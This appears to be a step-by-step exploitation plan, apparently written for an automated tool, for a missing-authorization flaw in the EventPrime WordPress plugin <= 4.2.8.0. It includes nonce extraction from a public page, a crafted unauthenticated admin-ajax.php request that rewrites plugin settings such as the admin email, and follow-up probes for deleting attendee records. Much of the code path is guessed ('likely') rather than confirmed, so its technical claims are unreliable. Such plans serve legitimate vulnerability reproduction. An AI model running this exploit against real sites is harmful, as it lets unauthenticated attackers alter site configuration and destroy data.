EventPrime <= 4.2.8.0 - Missing Authorization

This research plan outlines the steps to identify and exploit the Missing Authorization vulnerability in EventPrime <= 4.2.8.0.

1. Vulnerability Summary

The EventPrime plugin (<= 4.2.8.0) fails to perform a capability check (e.g., current_user_can('manage_options')) within one or more AJAX handlers registered with wp_ajax_nopriv_*. This allows unauthenticated attackers to perform administrative or restricted actions, such as modifying plugin settings, manipulating event data, or deleting records, by sending crafted requests to admin-ajax.php.

2. Attack Vector Analysis

• Endpoint: http://<target>/wp-admin/admin-ajax.php
• Method: POST
• Authentication: Unauthenticated (No login required)
• Action: Likely one of the wp_ajax_nopriv_ handlers in includes/class-ep-ajax.php. Based on the CVSS and description, the target is likely ep_save_settings or a similar configuration-altering function.
• Preconditions: The plugin must be active. A valid AJAX nonce for the ep_ajax_nonce action is typically required, though unauthenticated users can obtain this from the frontend.

3. Code Flow

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action parameter set to a vulnerable hook (e.g., ep_save_settings).
2. Hook Registration: In includes/class-ep-ajax.php, the action is registered:
   add_action('wp_ajax_nopriv_ep_save_settings', array($this, 'ep_save_settings'));
3. Execution: The ep_save_settings function is called.
4. Vulnerability Sink: The function likely calls check_ajax_referer('ep_ajax_nonce', 'nonce') but fails to call current_user_can('manage_options').
5. Impact: The code proceeds to update global plugin options using update_option() based on the values provided in $_POST.

4. Nonce Acquisition Strategy

EventPrime localizes its AJAX configuration for unauthenticated users on pages where event-related shortcodes are present.

1. Shortcode: The [em_events] or [ep_calendar] shortcode triggers the loading of the necessary scripts.
2. Setup:
   wp post create --post_type=page --post_title="Events" --post_status=publish --post_content='[em_events]'
3. Extraction:
   • Navigate to the newly created page.
   • Use browser_eval to extract the nonce from the ep_ajax_obj JavaScript object.
   • JS Variable: ep_ajax_obj.nonce
   • Script Handle: ep_apps_js (registered in the plugin).

5. Exploitation Strategy

Goal: Modify a critical plugin setting (e.g., allowing anyone to register or changing administrative email).

Step-by-Step:

1. Discovery: Confirm the registration of wp_ajax_nopriv_ep_save_settings in includes/class-ep-ajax.php.

2. Nonce Extraction:

   // Use browser_eval
   const nonce = window.ep_ajax_obj?.nonce;
   return nonce;
   

3. Craft Payload:
   The payload will attempt to modify the ep_settings option or a specific subset.

   • URL: http://<target>/wp-admin/admin-ajax.php
   • Content-Type: application/x-www-form-urlencoded
   • Parameters:
     • action: ep_save_settings
     • nonce: <extracted_nonce>
     • ep_settings[event_submission_allowed]: 1 (Example of enabling a feature)
     • ep_settings[admin_email]: attacker@example.com

4. Request Example:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   action=ep_save_settings&nonce=a1b2c3d4e5&ep_settings[some_critical_setting]=target_value
   

6. Test Data Setup

1. Install Plugin: Ensure EventPrime version 4.2.8.0 is installed.
2. Create Trigger Page:
   wp post create --post_type=page --post_status=publish --post_content='[em_events]'
3. Capture Initial State:
   wp option get ep_settings (to compare later).

7. Expected Results

• Response: The server should return a successful response (often JSON like {"success":true} or a string 1).
• Impact: The database record for the plugin settings should be updated with the attacker-supplied values.

8. Verification Steps

1. Database Check:
   wp option get ep_settings
   Check if the keys targeted in the payload now contain the malicious values.
2. Functional Check:
   Navigate to the plugin settings page in the WordPress admin dashboard (as a real admin) to see if the values have changed visually.

9. Alternative Approaches

If ep_save_settings is not the vulnerable action:

1. Grep for wp_ajax_nopriv_:
   grep -r "wp_ajax_nopriv_" wp-content/plugins/eventprime-event-calendar-management/
2. Analyze each result: Check for functions that perform update_option, wp_delete_post, or update_post_meta.
3. Test ep_delete_attendee: If this action is nopriv, try deleting an attendee record.
   • Required param: attendee_id.
4. Test ep_save_event_order: Check if event ordering can be manipulated.